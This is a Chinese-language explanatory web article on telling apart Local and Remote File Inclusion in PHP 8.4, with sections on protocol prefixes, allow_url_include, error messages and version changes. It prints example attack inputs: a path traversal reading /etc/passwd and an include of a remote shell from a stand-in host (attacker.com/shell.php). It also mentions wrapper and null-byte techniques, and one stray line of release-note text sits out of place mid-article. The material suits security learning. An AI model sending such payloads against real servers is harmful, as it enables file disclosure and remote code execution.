LFI与RFI的关键区分在于路径是否含可执行远程协议且allow_url_include=On:LFI读本地文件(如/etc/passwd),RFI需http://等协议头并开启allow_url_include才可执行远程代码。

PHP 8.4 中区分 LFI(本地文件包含)与 RFI(远程文件包含)的关键,不在于 PHP 版本本身新增了判断机制,而在于漏洞触发条件是否满足、底层配置是否启用、以及包含路径的协议类型是否被解析执行。PHP 8.4 延续了对 include/require 系列函数的行为逻辑,但强化了部分默认安全策略(如更严格的错误提示、弃用某些危险封装器),因此识别需结合代码上下文与运行时环境。
看包含路径有没有协议头
LFI 和 RFI 最直观的区分依据是用户可控的文件路径参数中是否含明确的远程协议标识:
-
LFI 路径通常无协议或仅含
file://:如?page=../../etc/passwd、?file=config.php、?tpl=file://etc/hosts。即使用了file://,它仍属本地读取,不触发网络请求。 -
RFI 路径必须含可执行远程协议:常见为
http://、https://、ftp://,例如?page=http://attacker.com/shell.php。注意:php://input、data://属伪协议,不算 RFI,它们是 LFI 的高级利用手段。
查 php.ini 是否开启 allow_url_include
这是 RFI 能否成功执行的硬性开关,在 PHP 8.4 中该选项默认仍为 Off,且官方强烈不建议开启:
修复 Core bailout 状态损坏安全问题,以及 BZ2、DOM、PDO、Opcache/JIT 内存与执行错误,改进 Unicode 字素处理、URL 解析、TLS 流状态、信号分发及会话错误处理。
- 若
allow_url_include = Off(默认),则include('http://...')会直接报错(Warning: Failed opening ...),无法执行远程代码,此时即使传入 HTTP 链接,也只算“有 RFI 意图但不可利用”,实际效果等同于无效 LFI 尝试。 - 若手动开启
allow_url_include = On,配合allow_url_fopen = On(默认为 On),RFI 才可能落地执行。PHP 8.4 不会自动开启它,必须显式配置——所以看到 RFI 成功,第一反应应是检查该配置项。
观察错误信息与响应内容
PHP 8.4 对包含失败的提示更明确,可辅助判断类型:
- 访问
?page=/etc/passwd返回一堆用户名和 shell 路径 → 典型 LFI 成功(读取本地文件)。 - 访问
?page=http://xxx页面空白或报Warning: include(): Unable to find the wrapper "http"→ RFI 条件不满足(allow_url_include关闭或协议未注册)。 - 若返回远程服务器的 HTML 源码(非执行结果),说明只是
file_get_contents类行为,不是include触发的 RFI。
注意 PHP 8.4 的变化点
虽然核心逻辑未变,但几个细节影响识别准确性:
-
expect://封装器在多数 PHP 8.4 发行版中已被移除或默认禁用,不再支持命令执行类 RFI 衍生利用。 -
phar://仍可用,但需phar.readonly = Off才能写入恶意 Phar;PHP 8.4 默认为On,因此phar://利用更依赖服务端额外配置,不能直接等同于 RFI。 - 路径解析更严格:PHP 8.4 对空字节
%00截断、双写编码绕过等传统 LFI 技巧兼容性下降,很多旧 PoC 在 8.4 下直接失效,需优先验证基础路径穿越是否有效。
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!










